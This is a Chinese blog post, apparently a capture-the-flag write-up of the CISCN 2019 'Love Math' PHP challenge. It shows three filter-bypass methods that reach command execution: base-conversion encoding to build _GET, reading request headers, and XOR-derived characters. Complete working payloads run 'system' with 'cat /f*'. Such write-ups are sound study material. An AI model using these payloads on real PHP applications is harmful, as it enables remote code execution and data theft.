[CISCN 2019 初赛]Love Math 通过进制转换执行命令

文章讲述了如何通过进制转换(如hex2bin和base_convert)以及利用数学编码、请求头(getallheaders)等方法,绕过安全限制,在编程挑战中执行系统命令。作者详细展示了三种解法,包括利用GET参数、请求头和异或操作获取更多字符。
摘要由CSDN通过智能技术生成

目录

hex2bin    bin2hex

base_convert

动态函数

第一种解法  通过get获取参数

绕过

第二种解法  读取请求头

getallheaders

echo a,b

第三种解法 异或获得更多字符


这道题也是很有意思!

通过规定白名单和黑名单 指定了 函数为数学函数 并且参数也只能是规定在白名单中的参数

我们首先要了解 通过进制转换执行命令的第一时间就是想到 hex2bin/bin2hex

hex2bin    bin2hex

这个函数可以将十六进制转换为ASCII码 从而实现数字到字符

所以我们可以通过这里的

接着我们需要了解 base_convert()函数

base_convert

这函数是可以将任意进制进行互相转换

我们这里给出例子

这里的hex2bin是36进制 所以这里可以将十进制转换为字符形式

动态函数

第一种解法  通过get获取参数

我们无法实现system(cat /flag) 因为36进制不接受特殊的符号 例如空格 所以我们无法直接获取到指令

但是我们换位思考一下

$a($b)

$a=system

$b=cat /f*

最后是不是就是 system(cat /f*)

现在问题在于我们如何接收到参数

这里主要就是通过GET POST方式

_GET[1](_GET[2])

1=system

2=cat /f*

是不是就等于 system(cat /f*)

现在问题转换为如何传递字符了

因为_GET[]都不在白名单中 甚至[]还在黑名单中

这里就涉及绕过了

绕过

首先[] 可以通过  {}绕过 很简单

其次_GET 我们可以通过数学编码

我们上面了解的hex2bin 就是可以将十六进制转变为ASCII

这样我们就可以构造_GET了

首先通过 bin2hex转变

得到16进制

但是这里面存在字符

发现正则过滤了字母 所以我们要将他换为全数字 就是十进制

然后通过dechex转换

最后就是hex2bin的了 我们只需要将其的10进制转换为36进制即可

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /*

我给大家简化一下

c=$pi=hex2bin(5f474554) 这里相当于 c=$pi=_GET

($$pi){pi}  这里相当于 $_GET{pi}
(($$pi){abs})  这里相当于 ($_GET{abs})

组合起来 $_GET{pi}($_GET{abs})


pi=system  abs=cat /f*

就可以是 system(cat /f*)

第二种解法  读取请求头

首先 我们构造 get很绕很麻烦 我们能不能直接执行命令

既然我们无法读取get的内容 那么我们直接接受请求头呢

这里就存在一个函数

getallheaders

getallheaders

 可以接受请求头

我们直接使用 exec(getallheaders) 来执行这个命令

这里还需要了了解一个知识点

echo a,b

echo a,b

ab都会输出

所以我们可以直接通过 exec a,b来执行

通过36进制换算

c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

然后通过1:cat /f*访问即可

这里getallheaders需要30进制

第三种解法 异或获得更多字符

我们能不能直接获取flag呢

我们通过异或来获取更多的字符串

我们来编写php代码

<?php
$pl=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($pl);$k++){
    for($i=0;$i < 9;$i++){
        for($j=1;$j <= 9; $j++){
            $exp=$pl[$k]^$i.$j;
            echo($pl[$k]."^".$i.$j."===>".$exp);
            echo "        ";
        }
    }
}
?>

 

获取_GET了

直接和第一个一样即可

?c=$pi=(mt_srand^(2).(3)).(tanh^(1).(5));$$pi{1}($$pi{0})&1=system&0=cat /f*

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值